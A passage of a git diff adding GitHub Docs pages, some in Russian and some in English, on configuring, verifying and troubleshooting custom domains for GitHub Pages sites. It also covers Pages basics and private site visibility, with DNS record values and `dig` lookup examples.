/articles/setting-up-an-apex-domain-and-www-subdomain + - /articles/adding-a-cname-file-to-your-repository + - /articles/setting-up-your-pages-site-repository + - /articles/managing-a-custom-domain-for-your-github-pages-site + - /github/working-with-github-pages/managing-a-custom-domain-for-your-github-pages-site +product: '{% data reusables.gated-features.pages %}' +versions: + fpt: '*' + ghec: '*' +topics: + - Pages +shortTitle: Manage a custom domain +--- + +People with admin permissions for a repository can configure a custom domain for a {% data variables.product.prodname_pages %} site. + +## About custom domain configuration + +Make sure you add your custom domain to your {% data variables.product.prodname_pages %} site before configuring your custom domain with your DNS provider. Configuring your custom domain with your DNS provider without adding your custom domain to {% data variables.product.product_name %} could result in someone else being able to host a site on one of your subdomains. + +{% windows %} + +The `dig` command, which can be used to verify correct configuration of DNS records, is not included in Windows. Before you can verify that your DNS records are configured correctly, you must install [BIND](https://www.isc.org/bind/). + +{% endwindows %} + +{% note %} + +**Note:** DNS changes can take up to 24 hours to propagate. + +{% endnote %} + +## Configuring a subdomain + +To set up a `www` or custom subdomain, such as `www.example.com` or `blog.example.com`, you must add your domain in the repository settings. After that, configure a CNAME record with your DNS provider. + +{% data reusables.pages.navigate-site-repo %} +{% data reusables.repositories.sidebar-settings %} +{% data reusables.pages.sidebar-pages %} +4. Under "Custom domain", type your custom domain, then click **Save**. If you are publishing your site from a branch, this will create a commit that adds a `CNAME` file to the root of your source branch. If you are publishing your site with a custom {% data variables.product.prodname_actions %} workflow , no `CNAME` file is created. For more information about your publishing source, see "[Configuring a publishing source for your GitHub Pages site](/pages/getting-started-with-github-pages/configuring-a-publishing-source-for-your-github-pages-site)." +![Save custom domain button](/assets/images/help/pages/save-custom-subdomain.png) + +{% note %} + +**Note:** If your custom domain is an internationalized domain name, you must enter the Punycode encoded version. + +For more information on Punycodes, see [Internationalized domain name](https://en.wikipedia.org/wiki/Internationalized_domain_name). + +{% endnote %} + +5. Navigate to your DNS provider and create a `CNAME` record that points your subdomain to the default domain for your site. For example, if you want to use the subdomain `www.example.com` for your user site, create a `CNAME` record that points `www.example.com` to `<user>.github.io`. If you want to use the subdomain `another.example.com` for your organization site, create a `CNAME` record that points `another.example.com` to `<organization>.github.io`. The `CNAME` record should always point to `<user>.github.io` or `<organization>.github.io`, excluding the repository name. {% data reusables.pages.contact-dns-provider %} {% data reusables.pages.default-domain-information %} + +{% indented_data_reference reusables.pages.wildcard-dns-warning spaces=3 %} +{% data reusables.command_line.open_the_multi_os_terminal %} +6. To confirm that your DNS record configured correctly, use the `dig` command, replacing _WWW.EXAMPLE.COM_ with your subdomain. +```shell + $ dig WWW.EXAMPLE.COM +nostats +nocomments +nocmd + > ;WWW.EXAMPLE.COM. IN A + > WWW.EXAMPLE.COM. 3592 IN CNAME YOUR-USERNAME.github.io. + > YOUR-USERNAME.github.io. 43192 IN CNAME GITHUB-PAGES-SERVER . + > GITHUB-PAGES-SERVER . 22 IN A 192.0.2.1 +``` +{% data reusables.pages.build-locally-download-cname %} +{% data reusables.pages.enforce-https-custom-domain %} + +## Configuring an apex domain + +To set up an apex domain, such as `example.com`, you must configure a custom domain in your repository settings and at least one `ALIAS`, `ANAME`, or `A` record with your DNS provider. + +{% data reusables.pages.www-and-apex-domain-recommendation %} For more information, see "[Configuring a subdomain](#configuring-a-subdomain)." + +{% data reusables.pages.navigate-site-repo %} +{% data reusables.repositories.sidebar-settings %} +{% data reusables.pages.sidebar-pages %} +4. Under "Custom domain", type your custom domain, then click **Save**. If you are publishing your site from a branch, this will create a commit that adds a `CNAME` file to the root of your source branch. If you are publishing your site with a custom {% data variables.product.prodname_actions %} workflow , no `CNAME` file is created. For more information about your publishing source, see "[Configuring a publishing source for your GitHub Pages site](/pages/getting-started-with-github-pages/configuring-a-publishing-source-for-your-github-pages-site)." + ![Save custom domain button](/assets/images/help/pages/save-custom-apex-domain.png) +5. Navigate to your DNS provider and create either an `ALIAS`, `ANAME`, or `A` record. You can also create `AAAA` records for IPv6 support. {% data reusables.pages.contact-dns-provider %} + - To create an `ALIAS` or `ANAME` record, point your apex domain to the default domain for your site. {% data reusables.pages.default-domain-information %} + - To create `A` records, point your apex domain to the IP addresses for {% data variables.product.prodname_pages %}. + ```shell + 185.199.108.153 + 185.199.109.153 + 185.199.110.153 + 185.199.111.153 + ``` + - To create `AAAA` records, point your apex domain to the IP addresses for {% data variables.product.prodname_pages %}. + ```shell + 2606:50c0:8000::153 + 2606:50c0:8001::153 + 2606:50c0:8002::153 + 2606:50c0:8003::153 + ``` + +{% indented_data_reference reusables.pages.wildcard-dns-warning spaces=3 %} +{% data reusables.command_line.open_the_multi_os_terminal %} +6. To confirm that your DNS record configured correctly, use the `dig` command, replacing _EXAMPLE.COM_ with your apex domain. Confirm that the results match the IP addresses for {% data variables.product.prodname_pages %} above. + - For `A` records. + ```shell + $ dig EXAMPLE.COM +noall +answer -t A + > EXAMPLE.COM 3600 IN A 185.199.108.153 + > EXAMPLE.COM 3600 IN A 185.199.109.153 + > EXAMPLE.COM 3600 IN A 185.199.110.153 + > EXAMPLE.COM 3600 IN A 185.199.111.153 + ``` + - For `AAAA` records. + ```shell + $ dig EXAMPLE.COM +noall +answer -t AAAA + > EXAMPLE.COM 3600 IN AAAA 2606:50c0:8000::153 + > EXAMPLE.COM 3600 IN AAAA 2606:50c0:8001::153 + > EXAMPLE.COM 3600 IN AAAA 2606:50c0:8002::153 + > EXAMPLE.COM 3600 IN AAAA 2606:50c0:8003::153 + ``` +{% data reusables.pages.build-locally-download-cname %} +{% data reusables.pages.enforce-https-custom-domain %} + +## Configuring an apex domain and the `www` subdomain variant + +When using an apex domain, we recommend configuring your {% data variables.product.prodname_pages %} site to host content at both the apex domain and that domain's `www` subdomain variant. + +To set up a `www` subdomain alongside the apex domain, you must first configure an apex domain by creating an `ALIAS`, `ANAME`, or `A` record with your DNS provider. For more information, see "[Configuring an apex domain](#configuring-an-apex-domain)." + +After you configure the apex domain, you must configure a CNAME record with your DNS provider. + +1. Navigate to your DNS provider and create a `CNAME` record that points `www.example.com` to the default domain for your site: `<user>.github.io` or `<organization>.github.io`. Do not include the repository name. {% data reusables.pages.contact-dns-provider %} {% data reusables.pages.default-domain-information %} +2. To confirm that your DNS record configured correctly, use the `dig` command, replacing _WWW.EXAMPLE.COM_ with your `www` subdomain variant. +```shell + $ dig WWW.EXAMPLE.COM +nostats +nocomments +nocmd + > ;WWW.EXAMPLE.COM IN A + > WWW.EXAMPLE.COM. 3592 IN CNAME YOUR-USERNAME.github.io. + > YOUR-USERNAME.github.io. 43192 IN CNAME GITHUB-PAGES-SERVER. + > GITHUB-PAGES-SERVER. 22 IN A 192.0.2.1 +``` +## Removing a custom domain + +{% data reusables.pages.navigate-site-repo %} +{% data reusables.repositories.sidebar-settings %} +{% data reusables.pages.sidebar-pages %} +4. Under "Custom domain," click **Remove**. + ![Save custom domain button](/assets/images/help/pages/remove-custom-domain.png) + +## Securing your custom domain + +{% data reusables.pages.secure-your-domain %} For more information, see "[Verifying your custom domain for {% data variables.product.prodname_pages %}](/pages/configuring-a-custom-domain-for-your-github-pages-site/verifying-your-custom-domain-for-github-pages)." + +## Further reading + +- "[Troubleshooting custom domains and {% data variables.product.prodname_pages %}](/articles/troubleshooting-custom-domains-and-github-pages)" diff --git a/translations/ru-RU/content/pages/configuring-a-custom-domain-for-your-github-pages-site/troubleshooting-custom-domains-and-github-pages.md b/translations/ru-RU/content/pages/configuring-a-custom-domain-for-your-github-pages-site/troubleshooting-custom-domains-and-github-pages.md new file mode 100644 index 000000000000..0815e8360f9d --- /dev/null +++ b/translations/ru-RU/content/pages/configuring-a-custom-domain-for-your-github-pages-site/troubleshooting-custom-domains-and-github-pages.md @@ -0,0 +1,77 @@ +--- +title: Устранение неполадок с личными доменами и страницами GitHub +intro: 'Вы можете проверить наличие распространенных ошибок, чтобы устранить проблемы в работе личных доменов или протокола HTTPS для сайта {% data variables.product.prodname_pages %}.' +redirect_from: + - /articles/my-custom-domain-isn-t-working + - /articles/custom-domain-isn-t-working + - /articles/troubleshooting-custom-domains + - /articles/troubleshooting-custom-domains-and-github-pages + - /github/working-with-github-pages/troubleshooting-custom-domains-and-github-pages +product: '{% data reusables.gated-features.pages %}' +versions: + fpt: '*' + ghec: '*' +topics: + - Pages +shortTitle: Troubleshoot a custom domain +ms.openlocfilehash: ce6251dbe96d531462c5c664dc9000f138059889 +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: '147428391' +--- +## Ошибки _CNAME_ + +{% ifversion pages-custom-workflow %}Если публикация выполняется с помощью пользовательского рабочего процесса {% data variables.product.prodname_actions %}, все файлы _CNAME_ пропускаются и не являются обязательными.{% endif %} + +Если публикация выполняется из ветви, личные домены хранятся в файле _CNAME_ в корне источника публикации. Вы можете добавить или обновить этот файл с помощью параметров репозитория либо вручную. Дополнительные сведения см. в разделе [Управление личным доменом для сайта {% data variables.product.prodname_pages %}](/articles/managing-a-custom-domain-for-your-github-pages-site). + +Чтобы сайт преобразовывал нужный домен для просмотра, убедитесь, что файл _CNAME_ все еще существует в репозитории. Например, многие генераторы статических сайтов принудительно отправляются в репозиторий, что может перезаписать файл _CNAME_, добавленный в репозиторий при настройке личного домена. Если вы выполняете сборку сайта локально и отправляете созданные файлы в {% data variables.product.product_name %}, сначала извлеките фиксацию, вследствие которой файл _CNAME_ был добавлен в локальный репозиторий. Таким образом файл будет включен в сборку. + +Затем убедитесь, что файл _CNAME_ отформатирован правильно. + +- Имя файла _CNAME_ должно быть записано прописными буквами. +- Файл _CNAME_ может содержать только один домен. Чтобы указать несколько доменов на сайт, необходимо настроить перенаправление через поставщика DNS. +- Файл _CNAME_ должен содержать только доменное имя. Например, `www.example.com`, `blog.example.com` или `example.com`. +- Доменное имя должно быть уникальным для всех сайтов {% data variables.product.prodname_pages %}. Например, если файл _CNAME_ другого репозитория содержит `example.com`, `example.com` нельзя использовать в файле _CNAME_ для репозитория. + +## Неправильные настройки DNS + +Если у вас возникли проблемы с указанием домена по умолчанию для сайта на личный домен, обратитесь к поставщику DNS. + +Вы также можете использовать один из следующих методов для проверки правильности настройки записей DNS личного домена: + +- Средство CLI, например `dig`. Дополнительные сведения см. в статье [Управление личным доменом для сайта {% data variables.product.prodname_pages %}](/articles/managing-a-custom-domain-for-your-github-pages-site). +- Средство поиска DNS в Интернете. + +## Неподдерживаемые имена личных доменов + +Если личный домен не поддерживается, может потребоваться изменить домен на поддерживаемый. Вы также можете обратиться к поставщику DNS, чтобы узнать, предлагает ли он службы переадресации для доменных имен. + +Убедитесь, что сайт: +- Не использует несколько доменов Apex. Например, значения `example.com` и `anotherexample.com`. +- Не использует несколько поддоменов `www`. Например, значения `www.example.com` и `www.anotherexample.com`. +- Не использует ни домен Apex, ни пользовательский поддомен. Например, значения `example.com` и `docs.example.com`. + + Единственным исключением является поддомен `www`. При правильной настройке поддомен `www` автоматически перенаправляется в домен Apex. Дополнительные сведения см. в разделе [Управление личным доменом для сайта {% data variables.product.prodname_pages %}](/github/working-with-github-pages/managing-a-custom-domain-for-your-github-pages-site#configuring-an-apex-domain). + +{% data reusables.pages.wildcard-dns-warning %} + +Список поддерживаемых личных доменов см. в статье [Сведения о личных доменах и {% data variables.product.prodname_pages %}](/articles/about-custom-domains-and-github-pages/#supported-custom-domains). + +## Ошибки HTTPS + +Доступ к сайтам {% data variables.product.prodname_pages %}, использующим личные домены, которые правильно настроены с помощью записей DNS `CNAME`, `ALIAS`, `ANAME` или `A`, можно получить по протоколу HTTPS. Дополнительные сведения см. в разделе [Защита сайта {% data variables.product.prodname_pages %} с помощью HTTPS](/articles/securing-your-github-pages-site-with-https). + +После настройки личного домена может потребоваться около часа, чтобы ваш сайт стал доступным по протоколу HTTPS. После обновления существующих параметров DNS может потребоваться удалить и повторно добавить личный домен в репозиторий сайта, чтобы активировать процесс включения HTTPS. Дополнительные сведения см. в разделе [Управление личным доменом для сайта {% data variables.product.prodname_pages %}](/articles/managing-a-custom-domain-for-your-github-pages-site). + +Если вы используете записи авторизации центра сертификации (CAA), должна существовать по крайней мере одна такая запись со значением `letsencrypt.org` для сайта, чтобы он был доступен по протоколу HTTPS. Дополнительные сведения см. в статье [Авторизация центра сертификации (CAA)](https://letsencrypt.org/docs/caa/) в документации по Let's Encrypt. + +## Форматирование URL-адресов в Linux + +Если URL-адрес сайта содержит имя пользователя или название организации, которое начинается либо заканчивается тире или содержит последовательные тире, пользователи, выполняющие просмотр, используя Linux, при попытке посетить сайт получат ошибку сервера. Чтобы исправить это, измените имя пользователя {% data variables.product.product_name %} и удалите символы, которые не являются буквами или цифрами. Дополнительные сведения см. в статье [Изменение имени пользователя {% data variables.product.prodname_dotcom %}](/articles/changing-your-github-username/). + +## Кэш браузера + +Если вы недавно изменили или удалили личный домен и не можете получить доступ к новому URL-адресу в браузере, вам может потребоваться очистить кэш браузера для получения доступа. Дополнительные сведения об очистке кэша см. в документации браузера. diff --git a/translations/ru-RU/content/pages/configuring-a-custom-domain-for-your-github-pages-site/verifying-your-custom-domain-for-github-pages.md b/translations/ru-RU/content/pages/configuring-a-custom-domain-for-your-github-pages-site/verifying-your-custom-domain-for-github-pages.md new file mode 100644 index 000000000000..e0a592c0a028 --- /dev/null +++ b/translations/ru-RU/content/pages/configuring-a-custom-domain-for-your-github-pages-site/verifying-your-custom-domain-for-github-pages.md @@ -0,0 +1,52 @@ +--- +title: Проверка личного домена для GitHub Pages +intro: Вы можете повысить безопасность личного домена и избежать атак со взломом путем проверки домена. +product: '{% data reusables.gated-features.pages %}' +versions: + fpt: '*' + ghec: '*' +topics: + - Pages +shortTitle: Verify a custom domain +ms.openlocfilehash: b3c44dacd98882afa7a43854b96d803352e879ca +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: '147529674' +--- +## Сведения о проверке домена для GitHub Pages + +При проверке личного домена для личной учетной записи или организации для публикации сайта {% data variables.product.prodname_pages %} в проверенном личном домене или прямых субдоменах этого домена можно использовать только репозитории, принадлежащие вашей личной учетной записи или организации. + +Проверка того, что домен не позволяет другим пользователям GitHub взять на себя личный домен и использовать его для публикации собственного сайта {% data variables.product.prodname_pages %}. Операции перехвата домена может произойти при удалении репозитория, при понижении плана выставления счетов или после любого другого изменения, которое отменяет связь с пользовательским доменом или отключает {% data variables.product.prodname_pages %}, пока домен остается настроенным для {% data variables.product.prodname_pages %} и не проверяется. + +При проверке домена все непосредственные субдомены также включаются в проверку. Например, если личный домен `github.com` проверен, `docs.github.com`, `support.github.com`, а также любые другие непосредственные субдомены также будут защищены от перехвата. + +{% data reusables.pages.wildcard-dns-warning %} + +Кроме того, можно проверить домен для вашей организации{% ifversion ghec %} или предприятия{% endif %}, чтобы отобразить эмблему "Проверено" в профиле организации{% ifversion ghec %}или предприятии{% endif %} {% ifversion ghec %}, а также в {% data variables.product.prodname_ghe_cloud %}, позволяет ограничить уведомления на адреса электронной почты, используя проверенный домен{% endif %}. Дополнительные сведения см. в разделе [Проверка или утверждение домена для вашей организации {% ifversion ghec %}](/organizations/managing-organization-settings/verifying-or-approving-a-domain-for-your-organization) и [Проверка или утверждение домена для вашего предприятия](/enterprise-cloud@latest/admin/configuration/configuring-your-enterprise/verifying-or-approving-a-domain-for-your-enterprise){% endif %}. + +## Проверка домена для сайта пользователя + +{% data reusables.user-settings.access_settings %} +1. В разделе «Код, планирование и автоматизация» на боковой панели щелкните **Страницы {% octicon "browser" aria-label="The pages icon" %}** . +{% data reusables.pages.settings-verify-domain-setup %} +1. Дождитесь изменения конфигурации DNS, это может произойти сразу или занять до 24 часов. Чтобы подтвердить изменение конфигурации DNS, выполните команду `dig` в командной строке. В приведенной ниже команде замените `USERNAME` на имя пользователя и `example.com` на домен, который вы проверяете. Если конфигурация DNS обновлена, в выходных данных должна появиться новая текстовая запись. + ``` + dig _github-pages-challenge-USERNAME.example.com +nostats +nocomments +nocmd TXT + ``` +{% data reusables.pages.settings-verify-domain-confirm %} + +## Проверка домена для сайта организации + +Владельцы организации могут проверять личные домены для своей организации. + +{% data reusables.profile.access_org %} {% data reusables.profile.org_settings %} +1. В разделе «Код, планирование и автоматизация» на боковой панели щелкните **Страницы {% octicon "browser" aria-label="The browser icon" %}** . +{% data reusables.pages.settings-verify-domain-setup %} +1. Дождитесь изменения конфигурации DNS, это может произойти сразу или занять до 24 часов. Чтобы подтвердить изменение конфигурации DNS, выполните команду `dig` в командной строке. В приведенной ниже команде замените `ORGANIZATION` на имя вашей организации и `example.com` на домен, который вы проверяете. Если конфигурация DNS обновлена, в выходных данных должна появиться новая текстовая запись. + ``` + dig _github-pages-challenge-ORGANIZATION.example.com +nostats +nocomments +nocmd TXT + ``` +{% data reusables.pages.settings-verify-domain-confirm %} diff --git a/translations/ru-RU/content/pages/getting-started-with-github-pages/about-github-pages.md b/translations/ru-RU/content/pages/getting-started-with-github-pages/about-github-pages.md new file mode 100644 index 000000000000..960da5c7d3b2 --- /dev/null +++ b/translations/ru-RU/content/pages/getting-started-with-github-pages/about-github-pages.md @@ -0,0 +1,151 @@ +--- +title: About GitHub Pages +intro: 'You can use {% data variables.product.prodname_pages %} to host a website about yourself, your organization, or your project directly from a repository on {% ifversion ghae %}{% data variables.product.product_name %}{% else %}{% data variables.location.product_location %}{% endif %}.' +redirect_from: + - /articles/what-are-github-pages + - /articles/what-is-github-pages + - /articles/user-organization-and-project-pages + - /articles/using-a-static-site-generator-other-than-jekyll + - /articles/mime-types-on-github-pages + - /articles/should-i-rename-usernamegithubcom-repositories-to-usernamegithubio + - /articles/about-github-pages + - /github/working-with-github-pages/about-github-pages +product: '{% data reusables.gated-features.pages %}' +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +topics: + - Pages +--- + +## About {% data variables.product.prodname_pages %} + +{% data variables.product.prodname_pages %} is a static site hosting service that takes HTML, CSS, and JavaScript files straight from a repository on {% data variables.product.product_name %}, optionally runs the files through a build process, and publishes a website. You can see examples of {% data variables.product.prodname_pages %} sites in the [{% data variables.product.prodname_pages %} examples collection](https://github.com/collections/github-pages-examples). + +{% ifversion fpt or ghec %} +You can host your site on {% data variables.product.prodname_dotcom %}'s `github.io` domain or your own custom domain. For more information, see "[Using a custom domain with {% data variables.product.prodname_pages %}](/articles/using-a-custom-domain-with-github-pages)." +{% endif %} + +{% ifversion fpt or ghec %} +{% data reusables.pages.about-private-publishing %} For more information, see "[Changing the visibility of your {% data variables.product.prodname_pages %} site]({% ifversion fpt %}/enterprise-cloud@latest{% endif %}/pages/getting-started-with-github-pages/changing-the-visibility-of-your-github-pages-site){% ifversion fpt %}" in the {% data variables.product.prodname_ghe_cloud %} documentation.{% else %}."{% endif %} +{% endif %} + +To get started, see "[Creating a {% data variables.product.prodname_pages %} site](/articles/creating-a-github-pages-site)." + +{% ifversion fpt or ghes or ghec %} +Organization owners can disable the publication of {% data variables.product.prodname_pages %} sites from the organization's repositories. For more information, see "[Managing the publication of {% data variables.product.prodname_pages %} sites for your organization](/organizations/managing-organization-settings/managing-the-publication-of-github-pages-sites-for-your-organization)." +{% endif %} + +## Types of {% data variables.product.prodname_pages %} sites + +There are three types of {% data variables.product.prodname_pages %} sites: project, user, and organization. Project sites are connected to a specific project hosted on {% data variables.product.product_name %}, such as a JavaScript library or a recipe collection. User and organization sites are connected to a specific account on {% ifversion ghae %}{% data variables.product.product_name %}{% else %}{% data variables.location.product_location %}{% endif %}. + +To publish a user site, you must create a repository owned by your personal account that's named {% ifversion fpt or ghec %}`<username>.github.io`{% else %}`<username>.<hostname>`{% endif %}. To publish an organization site, you must create a repository owned by an organization that's named {% ifversion fpt or ghec %}`<organization>.github.io`{% else %}`<organization>.<hostname>`{% endif %}. {% ifversion fpt or ghec %}Unless you're using a custom domain, user and organization sites are available at `http(s)://<username>.github.io` or `http(s)://<organization>.github.io`.{% elsif ghae %}User and organization sites are available at `http(s)://pages.<hostname>/<username>` or `http(s)://pages.<hostname>/<organization>`.{% endif %} + +The source files for a project site are stored in the same repository as their project. {% ifversion fpt or ghec %}Unless you're using a custom domain, project sites are available at `http(s)://<username>.github.io/<repository>` or `http(s)://<organization>.github.io/<repository>`.{% elsif ghae %}Project sites are available at `http(s)://pages.<hostname>/<username>/<repository>/` or `http(s)://pages.<hostname>/<organization>/<repository>/`.{% endif %} + +{% ifversion ghec %} +If you publish your site privately, the URL for your site will be different. For more information, see "[Changing the visibility of your {% data variables.product.prodname_pages %} site](/pages/getting-started-with-github-pages/changing-the-visibility-of-your-github-pages-site)." +{% endif %} + +{% ifversion fpt or ghec %} +For more information about how custom domains affect the URL for your site, see "[About custom domains and {% data variables.product.prodname_pages %}](/articles/about-custom-domains-and-github-pages)." +{% endif %} + +You can only create one user or organization site for each account on {% data variables.product.product_name %}. Project sites, whether owned by an organization or a personal account, are unlimited. + +{% ifversion ghes %} +The URL where your site is available depends on whether subdomain isolation is enabled for {% data variables.location.product_location %}. + +| Type of site | Subdomain isolation enabled | Subdomain isolation disabled | +| ------------ | --------------------------- | ---------------------------- | +User | `http(s)://pages.<hostname>/<username>` | `http(s)://<hostname>/pages/<username>` | +Organization | `http(s)://pages.<hostname>/<organization>` | `http(s)://<hostname>/pages/<organization>` | +Project site owned by personal account | `http(s)://pages.<hostname>/<username>/<repository>/` | `http(s)://<hostname>/pages/<username>/<repository>/` +Project site owned by organization account | `http(s)://pages.<hostname>/<orgname>/<repository>/` | `http(s)://<hostname>/pages/<orgname>/<repository>/` + +For more information, see "[Enabling subdomain isolation](/enterprise/admin/installation/enabling-subdomain-isolation)" or contact your site administrator. +{% endif %} + +## Publishing sources for {% data variables.product.prodname_pages %} sites + +{% data reusables.pages.private_pages_are_public_warning %} + +{% data reusables.pages.pages-about-publishing-source %} + +For more information, see "[Configuring a publishing source for your GitHub Pages site](/pages/getting-started-with-github-pages/configuring-a-publishing-source-for-your-github-pages-site)." + +{% ifversion ghec %} +## Limitations for {% data variables.product.prodname_emus %} +If you're a {% data variables.enterprise.prodname_managed_user %}, your use of {% data variables.product.prodname_pages %} is limited. + + - {% data variables.product.prodname_pages %} sites can only be published from repositories owned by organizations. + - {% data variables.product.prodname_pages %} sites are only visible to other members of the enterprise. + - You cannot create an organization site (a site published from a repository named `<organization>.github.io`) + +For more information about {% data variables.product.prodname_emus %}, see "[About {% data variables.product.prodname_emus %}](/admin/identity-and-access-management/using-enterprise-managed-users-and-saml-for-iam/about-enterprise-managed-users)." +{% endif %} + +## Static site generators + +{% data variables.product.prodname_pages %} publishes any static files that you push to your repository. You can create your own static files or use a static site generator to build your site for you. You can also customize your own build process locally or on another server. + +{% ifversion pages-custom-workflow %} + +If you use a custom build process or a static site generator other than Jekyll, you can write a {% data variables.product.prodname_actions %} to build and publish your site. {% data variables.product.product_name %} provides starter workflows for several static site generators. For more information, see "[Configuring a publishing source for your GitHub Pages site](/pages/getting-started-with-github-pages/configuring-a-publishing-source-for-your-github-pages-site)." + +If you publish your site from a source branch, {% data variables.product.prodname_pages %} will use Jekyll to build your site by default. If you want to use a static site generator other than Jekyll, we recommend that you write a {% data variables.product.prodname_actions %} to build and publish your site instead. Otherwise, disable the Jekyll build process by creating an empty file called `.nojekyll` in the root of your publishing source, then follow your static site generator's instructions to build your site locally. + +{% else %} + +We recommend Jekyll, a static site generator with built-in support for {% data variables.product.prodname_pages %} and a simplified build process. For more information, see "[About {% data variables.product.prodname_pages %} and Jekyll](/articles/about-github-pages-and-jekyll)." + +{% data variables.product.prodname_pages %} will use Jekyll to build your site by default. If you want to use a static site generator other than Jekyll, disable the Jekyll build process by creating an empty file called `.nojekyll` in the root of your publishing source, then follow your static site generator's instructions to build your site locally. + +{% endif %} + +{% data variables.product.prodname_pages %} does not support server-side languages such as PHP, Ruby, or Python. + +## Limits on use of {% data variables.product.prodname_pages %} + +{% ifversion fpt or ghec %} +{% data variables.product.prodname_pages %} sites created after June 15, 2016, and using `github.io` domains are served over HTTPS. If you created your site before June 15, 2016, you can enable HTTPS support for traffic to your site. For more information, see "[Securing your {% data variables.product.prodname_pages %} with HTTPS](/articles/securing-your-github-pages-site-with-https)." + +### Prohibited uses +{% endif %} +{% data variables.product.prodname_pages %} is not intended for or allowed to be used as a free web-hosting service to run your online business, e-commerce site, or any other website that is primarily directed at either facilitating commercial transactions or providing commercial software as a service (SaaS). {% data reusables.pages.no_sensitive_data_pages %} + +In addition, your use of {% data variables.product.prodname_pages %} is subject to the [GitHub Terms of Service](/free-pro-team@latest/github/site-policy/github-terms-of-service/), including the restrictions on get-rich-quick schemes, sexually obscene content, and violent or threatening content or activity. + +### Usage limits +{% data variables.product.prodname_pages %} sites are subject to the following usage limits: + + - {% data variables.product.prodname_pages %} source repositories have a recommended limit of 1 GB.{% ifversion fpt or ghec %} For more information, see "[What is my disk quota?](/articles/what-is-my-disk-quota/#file-and-repository-size-limitations)"{% endif %} + - Published {% data variables.product.prodname_pages %} sites may be no larger than 1 GB. +{% ifversion fpt or ghec %} + - {% data variables.product.prodname_pages %} sites have a *soft* bandwidth limit of 100 GB per month. + - {% data variables.product.prodname_pages %} sites have a *soft* limit of 10 builds per hour.{% ifversion pages-custom-workflow %} This limit does not apply if you build and publish your site with a custom {% data variables.product.prodname_actions %} workflow {% endif %} + - In order to provide consistent quality of service for all {% data variables.product.prodname_pages %} sites, rate limits may apply. These rate limits are not intended to interfere with legitimate uses of {% data variables.product.prodname_pages %}. If your request triggers rate limiting, you will receive an appropriate response with an HTTP status code of `429`, along with an informative HTML body. + +If your site exceeds these usage quotas, we may not be able to serve your site, or you may receive a polite email from {% data variables.contact.contact_support %} suggesting strategies for reducing your site's impact on our servers, including putting a third-party content distribution network (CDN) in front of your site, making use of other {% data variables.product.prodname_dotcom %} features such as releases, or moving to a different hosting service that might better fit your needs. + +{% endif %} + +## MIME types on {% data variables.product.prodname_pages %} + +A MIME type is a header that a server sends to a browser, providing information about the nature and format of the files the browser requested. {% data variables.product.prodname_pages %} supports more than 750 MIME types across thousands of file extensions. The list of supported MIME types is generated from the [mime-db project](https://github.com/jshttp/mime-db). + +While you can't specify custom MIME types on a per-file or per-repository basis, you can add or modify MIME types for use on {% data variables.product.prodname_pages %}. For more information, see [the mime-db contributing guidelines](https://github.com/jshttp/mime-db#adding-custom-media-types). + +{% ifversion fpt %} +## Data collection + +When a {% data variables.product.prodname_pages %} site is visited, the visitor's IP address is logged and stored for security purposes, regardless of whether the visitor has signed into {% data variables.product.prodname_dotcom %} or not. For more information about {% data variables.product.prodname_dotcom %}'s security practices, see <a href="/articles/github-privacy-statement/" class="dotcom-only">{% data variables.product.prodname_dotcom %} Privacy Statement</a>. +{% endif %} + +## Further reading + +- [{% data variables.product.prodname_pages %}](https://github.com/skills/github-pages) on {% data variables.product.prodname_learning %} +- "[{% data variables.product.prodname_pages %}](/rest/reference/repos#pages)" diff --git a/translations/ru-RU/content/pages/getting-started-with-github-pages/changing-the-visibility-of-your-github-pages-site.md b/translations/ru-RU/content/pages/getting-started-with-github-pages/changing-the-visibility-of-your-github-pages-site.md new file mode 100644 index 000000000000..a6bfddb0d8f1 --- /dev/null +++ b/translations/ru-RU/content/pages/getting-started-with-github-pages/changing-the-visibility-of-your-github-pages-site.md @@ -0,0 +1,49 @@ +--- +title: Changing the visibility of your GitHub Pages site +intro: You can manage access control for your project site by publishing the site publicly or privately. +versions: + ghec: '*' +permissions: 'People with admin access to a repository can change the visibility of a {% data variables.product.prodname_pages %} site.' +redirect_from: + - /github/working-with-github-pages/changing-the-visibility-of-your-github-pages-site +shortTitle: Change visibility of site +--- + +## About access control for {% data variables.product.prodname_pages %} sites + +With access control for {% data variables.product.prodname_pages %}, you can restrict access to your project site by publishing the site privately. A privately published site can only be accessed by people with read access to the repository the site is published from. You can use privately published sites to share your internal documentation or knowledge base with members of your enterprise. + +{% data reusables.pages.privately-publish-ghec-only %} + +If your enterprise uses {% data variables.product.prodname_emus %}, access control is not available, and all {% data variables.product.prodname_pages %} sites are only accessible to other enterprise members. For more information about {% data variables.product.prodname_emus %}, see "[About {% data variables.product.prodname_pages %}](/pages/getting-started-with-github-pages/about-github-pages#limitations-for-enterprise-managed-users)." + +If your organization uses {% data variables.product.prodname_ghe_cloud %} without {% data variables.product.prodname_emus %}, you can choose to publish your project sites privately or publicly to anyone on the internet. + +Access control is available for project sites that are published from a private or internal repository that are owned by the organization. You cannot manage access control for an organization site. For more information about the types of {% data variables.product.prodname_pages %} sites, see "[About {% data variables.product.prodname_pages %}](/pages/getting-started-with-github-pages/about-github-pages#types-of-github-pages-sites)." + +## About subdomains for privately published sites + +Privately published sites are available at a different subdomain than publicly published sites. This ensures that your {% data variables.product.prodname_pages %} site is secure from the moment it's published: + +- We automatically secure every subdomain of `*.pages.github.io` with a TLS certificate, and enforce HSTS to ensure that browsers always serve the page over HTTPS. +- We use a unique subdomain for the privately published site to ensure that other repositories in your organization cannot publish content on the same origin as the site. This protects your site from "[cookie tossing](https://github.blog/2013-04-09-yummy-cookies-across-domains/)". This is also why we don't host {% data variables.product.prodname_pages %} sites on the `github.com` domain. + +You can see your site's unique subdomain in the "Pages" tab of your repository settings. If you're using a static site generator configured to build the site with the repository name as a path, you may need to update the settings for the static site generator when changing the site to private. For more information, see "[Configuring Jekyll in your {% data variables.product.prodname_pages %} site](/pages/configuring-a-custom-domain-for-your-github-pages-site/managing-a-custom-domain-for-your-github-pages-site#configuring-a-subdomain)" or the documentation for your static site generator. + +To use a shorter and more memorable domain for your privately published site, you can configure a custom domain. For more information, see "[Configuring a custom domain for your {% data variables.product.prodname_pages %} 